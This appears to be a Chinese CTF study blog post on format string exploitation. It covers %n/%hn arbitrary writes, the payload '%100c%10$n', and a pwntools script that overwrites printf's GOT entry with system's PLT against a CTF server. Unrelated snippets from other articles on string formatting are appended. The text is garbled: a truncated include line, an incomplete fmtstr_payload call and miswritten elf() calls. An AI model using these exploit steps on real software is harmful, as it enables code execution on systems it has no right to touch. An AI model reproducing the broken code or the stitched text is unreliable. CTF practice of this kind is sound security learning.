最近pwn遇到瓶頸,考慮看一下某大學的社課系列,找一下感覺,順便理一下思路之類的
寫了三個小時部落格,然後火狐崩潰了,我一直在ctrl + s,但是最終一點東西都沒了,真好
之前的不管了,今天白天再從任意位址寫開始吧,悟以往之不諫,知來者之可追。
之前留存的幾張截圖
%n可以對任意位址寫入值,寫入的值是已經輸出的字元數
輸出為8
#include int main()
任意位址寫的payload
%100c%10$n
(32位下)向格式化字串的第十個引數寫入104
利用方法
更為常見的利用方法:比如要改寫乙個位址,用%c$n的方式會輸出大量的字串,我們通常會選擇%hn(寫入short大小的整數)和%hhn(寫入char大小的整數),然後分多次來寫入
即,單次printf多次寫入
注意:之後每次%xxc必須減去前乙個寫入byte的值,因為%n是總輸出字元數
類似printf的函式
__stack_chk_fail hijack的利用方法
bp chain技術:利用連續的call 改 bp從而達到在棧上某個位置寫入的目的
把printf的got的內容改為system的plt即可
from pwn import *
local = 1
binary = "./echo"
libc_path = '../libc-2.23_32.so'
port = "27562"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
# arg location:7
# aaaa %p %p %p %p %p %p %p
libc = elf(libc_path)
elf = elf(binary)
printf_got = elf.got['printf']
system_plt = elf.plt['system']
print "[*] printf:",hex(printf_got) #0x804a010
print "[*] system:",hex(system_plt) #0x8048400
payload = fmtstr_payload(7,)
print len(payload)
print payload
p.sendline(payload)
# gdb.attach(p)
p.interactive()
格式化字串漏洞利用 二 格式化函式
原文 exploiting format string vulnerabilities 譯者 飛龍 日期 2001.9.1 版本 v1.2 格式化函式是一類特殊的 ansi c 函式,接受可變數量的引數,其中的乙個就是所謂的格式化字串。當函式求解格式化字串時,它會訪問向函式提供的額外引數。它是乙個轉...
Python(19) 格式化字串
因為種種原因 懶 所以想用python生成html檔案。做jsp的話,jsp頁面上那些資料是用http.request.getattribute x 等方法拿出來的,什麼el表示式也是為了 的簡單省事。如果用python寫html呢?硬編碼吧。把要替換的地方用個什麼包起來,再用string的form...
python3格式化字串
數字處理 預設序列填充 format str1 str2 str1.str2 自定義序列填充 format str1 str2 str1.str2 format str1 str2 str2.str1 自定義變數填充 format str1 str1 str2 str2 str1.str2 form...